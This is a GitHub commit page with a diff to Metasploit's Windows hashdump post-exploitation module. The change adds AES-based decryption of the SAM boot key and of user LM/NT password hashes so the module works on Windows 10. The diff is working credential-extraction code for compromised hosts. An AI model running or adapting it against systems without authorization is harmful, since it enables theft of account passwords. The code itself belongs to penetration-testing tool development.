Skip to content

Commit 27469f8

Browse files
David MaloneyDavid Maloney
authored andcommitted
Land rapid7#8582, Rogdham Hashdump fixes
Land's Rogdham's fixes to the Hashdump post module to support Windows 10!
2 parents 071dc09 + 6d38dff commit 27469f8

File tree

1 file changed

+58
-37
lines changed

1 file changed

+58
-37
lines changed

modules/post/windows/gather/hashdump.rb

Lines changed: 58 additions & 37 deletions
Original file line numberDiff line numberDiff line change
@@ -139,14 +139,28 @@ def capture_hboot_key(bootkey)
139139
vf = vf.data
140140
ok.close
141141

142-
hash = Digest::MD5.new
143-
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
144-
145-
rc4 = OpenSSL::Cipher.new("rc4")
146-
rc4.key = hash.digest
147-
hbootkey = rc4.update(vf[0x80, 32])
148-
hbootkey << rc4.final
149-
return hbootkey
142+
revision = vf[0x68, 4].unpack('V')[0]
143+
144+
case revision
145+
when 1
146+
hash = Digest::MD5.new
147+
hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
148+
149+
rc4 = OpenSSL::Cipher.new("rc4")
150+
rc4.key = hash.digest
151+
hbootkey = rc4.update(vf[0x80, 32])
152+
hbootkey << rc4.final
153+
hbootkey
154+
when 2
155+
aes = OpenSSL::Cipher.new('aes-128-cbc')
156+
aes.key = bootkey
157+
aes.padding = 0
158+
aes.decrypt
159+
aes.iv = vf[0x78, 16]
160+
aes.update(vf[0x88, 16]) # we need only 16 bytes
161+
else
162+
raise NotImplementedError, "Unknown hboot_key revision: #{revision}"
163+
end
150164
end
151165

152166
def capture_user_keys
@@ -200,21 +214,16 @@ def decrypt_user_keys(hbootkey, users)
200214
users.each_key do |rid|
201215
user = users[rid]
202216

203-
hashlm_enc = ""
204-
hashnt_enc = ""
205-
206-
hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
207-
208-
#Check if hashes exist (if 20, then we've got a hash)
209-
lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false
210-
nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false
217+
hashlm_off = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
218+
hashlm_len = user[:V][0xa0, 4].unpack("V")[0]
219+
hashlm_enc = user[:V][hashlm_off, hashlm_len]
211220

212-
#If we have a hashes, then parse them (Note: NT is dependant on LM)
213-
hashlm_enc = user[:V][hoff + 4, 16] if lm_exists
214-
hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists
221+
hashnt_off = user[:V][0xa8, 4].unpack("V")[0] + 0xcc
222+
hashnt_len = user[:V][0xac, 4].unpack("V")[0]
223+
hashnt_enc = user[:V][hashnt_off, hashnt_len]
215224

216-
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
217-
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
225+
user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass, @sam_empty_lm)
226+
user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass, @sam_empty_nt)
218227
end
219228

220229
users
@@ -241,16 +250,35 @@ def rid_to_key(rid)
241250
[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
242251
end
243252

244-
def decrypt_user_hash(rid, hbootkey, enchash, pass)
253+
def decrypt_user_hash(rid, hbootkey, enchash, pass, default)
254+
revision = enchash[2, 2].unpack('v')[0]
245255

246-
if(enchash.empty?)
247-
case pass
248-
when @sam_lmpass
249-
return @sam_empty_lm
250-
when @sam_ntpass
251-
return @sam_empty_nt
252-
end
253-
return ""
256+
case revision
257+
when 1
258+
if enchash.length < 20
259+
return default
260+
end
261+
262+
md5 = Digest::MD5.new
263+
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
264+
265+
rc4 = OpenSSL::Cipher.new('rc4')
266+
rc4.key = md5.digest
267+
okey = rc4.update(enchash[4, 16])
268+
when 2
269+
if enchash.length < 40
270+
return default
271+
end
272+
273+
aes = OpenSSL::Cipher.new('aes-128-cbc')
274+
aes.key = hbootkey[0, 16]
275+
aes.padding = 0
276+
aes.decrypt
277+
aes.iv = enchash[8, 16]
278+
okey = aes.update(enchash[24, 16]) # we need only 16 bytes
279+
else
280+
print_error("Unknown user hash revision: #{revision}")
281+
return default
254282
end
255283

256284
des_k1, des_k2 = rid_to_key(rid)
@@ -263,13 +291,6 @@ def decrypt_user_hash(rid, hbootkey, enchash, pass)
263291
d2.padding = 0
264292
d2.key = des_k2
265293

266-
md5 = Digest::MD5.new
267-
md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
268-
269-
rc4 = OpenSSL::Cipher.new('rc4')
270-
rc4.key = md5.digest
271-
okey = rc4.update(enchash)
272-
273294
d1o = d1.decrypt.update(okey[0,8])
274295
d1o << d1.final
275296

0 commit comments

Comments
 (0)